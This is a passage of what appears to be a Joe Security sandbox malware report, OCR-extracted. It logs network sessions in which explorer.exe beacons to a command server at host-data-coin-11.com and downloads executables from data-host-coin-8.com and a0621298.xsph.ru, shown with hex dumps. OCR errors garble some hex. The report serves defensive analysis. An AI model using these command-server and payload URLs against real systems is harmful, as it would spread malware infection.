0a 30 0d Oa 0d Oa

Data Ascii: 11:8201%70

Destination IP  Destination Port Process
94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://vwrxdxe.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 345

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:42 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 33 30 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b
db 76 f8 67 5d a4 09 d7 cd 66 c7 64 50 06 b9 0d 0a 30 0d Oa 0d Oa

Data Ascii: 301:820Tevg]fdPO
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Session ID

54

Timestamp

Jan 14, 2022
04:59:43.086858034 CET

Jan 14, 2022
04:59:43.176691055 CET

Session ID

55

Timestamp

Jan 14, 2022
04:59:43.284842968 CET

Jan 14, 2022
04:59:43.367590904 CET

Session ID
56

Timestamp

Jan 14, 2022
04:59:43.584142923 CET

Jan 14, 2022
04:59:43.669954062 CET

Session ID

57

Source IP

192.168.2.3
kBytes

transferred

12940

12941

Source IP

192.168.2.3
kBytes

transferred

12943

12944

Source IP
192.168.2.3

kBytes

transferred
12945

12946

Source IP

192.168.2.3

Copyright Joe Security LLC 2022

Source Port

49864

Direction

ouT

Source Port

49866

Direction

ouT

Source Port
49867

Direction
ouT

Source Port

49868

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://kijlaf.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 236

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:43 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://xbgcbdcvsv.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 299

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:43 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://kvaxa.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 235

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:43 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe
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kBytes
Timestamp transferred

Jan 14, 2022 12947
04:59:43.797128916 CET

Jan 14, 2022 12947
04:59:43.885927916 CET

Session ID Source IP
58 192.168.2.3

kBytes
Timestamp transferred
Jan 14, 2022 12948

04:59:44.478602886 CET

Jan 14, 2022 12949
04:59:44.543018103 CET

Session ID Source IP

59 192.168.2.3
kBytes

Timestamp transferred

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49869

Direction

ouT

Source Port

49871

Direction

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://wferj.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 138

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:43 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 34 36 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12
93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 46 €8 ae 88 70 bc 57 dd 43 df f9 21 87 26 ec ¢3 91 50 23 e4 a8 1d 63 a9 0d Oa 30
0d Oa Od Oa

Data Ascii: 461:820R&:UPJ%9FpWC!&P#c0

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

GET /files/8474_1641976243_3082.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: data-host-coin-8.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:44 GMT

Content-Type: application/x-msdos-program

Content-Length: 373760

Connection: close

Last-Modified: Wed, 12 Jan 2022 08:30:43 GMT

ETag: "5b400-5d55e62ba577¢e"

Accept-Ranges: bytes

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 6¢ cb d2 55 28 aa bc 06 28 aa bc 06 28 aa bc 06 36 f8 29 06 31 aa bc 06 36 8 3f
06 57 aa bc 06 0f 6¢ ¢7 06 2b aa bc 06 28 aa bd 06 f5 aa bc 06 36 f8 38 06 11 aa bc 06 36 f8 28 06 29 aa bc 06 36 8 2d
06 29 aa bc 06 52 69 63 68 28 aa bc 06 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 61 a2 52 60 00 00 00 00 00 00
00 00 e0 00 02 01 Ob 01 09 00 00 c2 04 00 00 76 12 00 00 00 00 00 40 a1 02 00 00 10 00 00 00 e0 04 00 00 00 40 00 00
10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 17 00 00 04 00 00 e2 26 06 00 02 00 00 80
00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 be 04 00 28 00 00
00 00 b0 16 00 10 7b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 17 00 14 1d 00 00 80 13 00 00 1c 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 8f 00 00 40 00 00 00 00 00 00 00 00
00 00 00 00 10 00 00 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78
7400 00 00 €8 c1 04 00 00 10 00 00 00 c2 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61
74 61 00 00 00 bc 9f 11 00 00 €0 04 00 00 18 00 00 00 c6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 67
69 7a 69 00 00 00 05 00 00 00 00 80 16 00 00 02 00 00 00 de 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e
62 75 72 00 00 00 00 ea 00 00 00 00 90 16 00 00 02 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO
2e 77 6f 62 00 00 00 00 93 0d 00 00 00 a0 16 00 00 Oe 00 00 00 e2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 ¢
02e 72737263 00 00 00 10 7b 00 00 00 b0 16 00 00 7c 00 00 00 fO 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00
40 2e 72 65 6¢ 6f 63 00 00 34 46 00 00 00 30 17 00 00 48 00 00 00 6¢ 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00
00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 4 c1 04 00 06 c2 04 00 1a c2 04 00 30 c2 04 00 40 c2 04 00 50 c2 04 00 6¢ c2 04 00 84 c2 04
0098 c2 04 00 a8 c2 04 00 c2 c2 04 00 dc c2 04 00 f4 c2 04 00 08

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$IU(((6)16?WI+(686()6-)Rich(PELaR v@ @&({0@8.text ".da
ta@.9izi@.bur@.wob@.rsrc{| @@.reloc4FOHI@BO@PI

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data
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kBytes
Timestamp transferred

Jan 14, 2022 13341
04:59:46.348975897 CET

Jan 14, 2022 13342
04:59:46.436677933 CET

Session ID Source IP
6 192.168.2.3

kBytes
Timestamp transferred
Jan 14, 2022 1112

04:58:58.312180042 CET

Jan 14, 2022 1112
04:58:58.394426107 CET

Session ID Source IP
60 192.168.2.3

kBytes
Timestamp transferred
Jan 14, 2022 13343

04:59:46.548856974 CET

Jan 14, 2022 13343
04:59:46.637809038 CET

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49747

Direction

ouT

Source Port
49872

Direction
ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://jkhktrj.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 157

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:46 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://qlxnfuhj.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 296

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:58:58 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 0d Oa 14 00 00 00 7b fa f6 1c b5 69 2b 2c 47 fa Oe a8 c1 82 9f 4f 1a c4 da 16 00 Od Oa 30 Od Oa Od Oa
Data Ascii: 19{i+,GO0

Destination IP  Destination Port Process
94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://uiswqsy.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 216

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:46 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f cO d7 10 55 3a 40 a9 fe c2 aa b9 01 ac
52 cc 77 f8 0f 11 91 1d f4 0d Oa 30 0d Oa Od Oa

Data Ascii: 291:820U:@RwO0
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Session ID Source IP

61 192.168.2.3

kBytes
Timestamp transferred
Jan 14, 2022 13344

04:59:46.778390884 CET

Jan 14, 2022 13346
04:59:46.852816105 CET

Session ID Source IP
62 192.168.2.3

kBytes
Timestamp transferred
Jan 14, 2022 13405

04:59:47.095720053 CET

Jan 14, 2022 13405
04:59:47.179227114 CET

Session ID Source IP

63 192.168.2.3

Copyright Joe Security LLC 2022

Source Port

49873

Direction

ouT

Source Port
49874

Direction
ouT

Source Port

49875

Destination IP Destination Port Process

141.8.194.74 80 C:\Windows\explorer.exe

Data

GET /9.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: a0621298.xsph.ru

HTTP/1.1 403 Forbidden

Server: openresty

Date: Fri, 14 Jan 2022 03:59:46 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

Data Raw: 64 66 62 65 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e
22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20
2020 3c 74 69 74 6¢ 65 3e d0 9e d1 88 d0 b8 dO b1 dO ba d0O b0 20 34 30 33 30 3c 2f 74 69 74 6¢ 65 3e Oa 20 20 20 20 3c
6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76
69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6¢ 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6
€ 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d
66 61 6d 69 6¢ 79 3a 41 72 69 61 6¢ 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6¢ 65 3a 6e 6f 72 6d 61
6¢ 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e
74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6¢ 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73
70 6¢ 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6¢ 65 78 3b 64 69 73 70 6¢ 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6¢
61 79 3a 2d 6d 73 2d 66 6¢ 65 78 62 6f 78 3b 64 69 73 70 6¢ 61 79 3a 66 6¢ 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d
70 61 63 6b 3263 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e
74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6¢ 65 78 2d 70 61 63 6b 3a 63
65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e
63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b
68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61
6¢ 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6¢ 3b 2d 77 65 62 6b 69 74 2d 66
6C 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f
6e 74 61 6¢ 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6¢ 3b 2d 6d 73 2d 66 6¢ 65 78 2d
64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6¢ 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67
32313238 707820313670 7820 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6¢ 63 28 31 30 30 76
68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6¢ 63 28 31 30 30 76 68 20 2d 20 31 32 38 70
7829 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62
6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74
2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 2d 77 65 62 6b 69 74 2d 6a
757374 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61
63 6b 3a 6a 75 73 74 69 66 79 3b 2d 6d 73 2d 66 6¢ 65 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 6a 75 73 74 69 66
79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6¢ 61 74 69 76
65 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 6¢ 65 66 74 2d 73 69 64 65 7b 64 69 73 70 6¢ 61 79 3a
74 61 62 6¢ 65 3b 68 65 69 67 68 74

Data Ascii: dfbe<!IDOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title> 4030</title> <meta
name="viewport" content="width=device-width, initial-scale=1.0"> <style>body,h1,p{padding:0;margin:0}*{font-family
:Arial,sans-serif;font-style:normal;font-weight:400}.wrapper,.wrapper .content{width:100%;display:-webkit-box;display:-w
ebkit-flex;display:-moz-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-moz-
box-pack:center;-ms-flex-pack:center;justify-content:center}.wrapper .content{width:inherit;max-width:1032px; height:100%;-
webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-moz-box-orient:horizontal;-moz-box-
direction:normal;-ms-flex-direction:row;flex-direction:row;padding:128px 16px 0;min-height:-moz-calc(100vh - 128px);min-
height:calc(100vh - 128px);-webkit-box-sizing:content-box;-moz-box-sizing:content-box; box-sizing:content-box;-webkit-box-
pack:justify;-webkit-justify-content:space-between;-moz-box-pack:justify;-ms-flex-pack:justify;justify-content:space-
between;position:relative}.wrapper .content .left-side{display:table;height

Destination IP  Destination Port Process
94.142.143.91 80 C:\Windows\explorer.exe

Data

POST / HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://otiidv.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 247

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:47 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe
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Timestamp

Jan 14, 2022
04:59:47.285541058 CET

Jan 14, 2022
04:59:47.372786045 CET

Session ID

64

Timestamp

Jan 14, 2022
04:59:50.576308966 CET

Jan 14, 2022
04:59:50.670826912 CET

Session ID
65

Timestamp

Jan 14, 2022
04:59:50.759860992 CET

Jan 14, 2022
04:59:50.855405092 CET

Session ID

66

kBytes
transferred

13406

13407

Source IP

192.168.2.3
kBytes

transferred

17258

17259

Source IP
192.168.2.3

kBytes

transferred
17260

17260

Source IP

192.168.2.3

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49880

Direction

ouT

Source Port
49881

Direction
ouT

Source Port

49882

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://adiacegte.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 320

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:47 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 33 30 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b
db 76 f8 43 4e c7 3d c2 ec 66 b5 64 50 06 b9 0d 0a 30 0d Oa 0d Oa

Data Ascii: 301:820TevCN=fdPO

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://kxdhsiskb.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 196

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:50 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
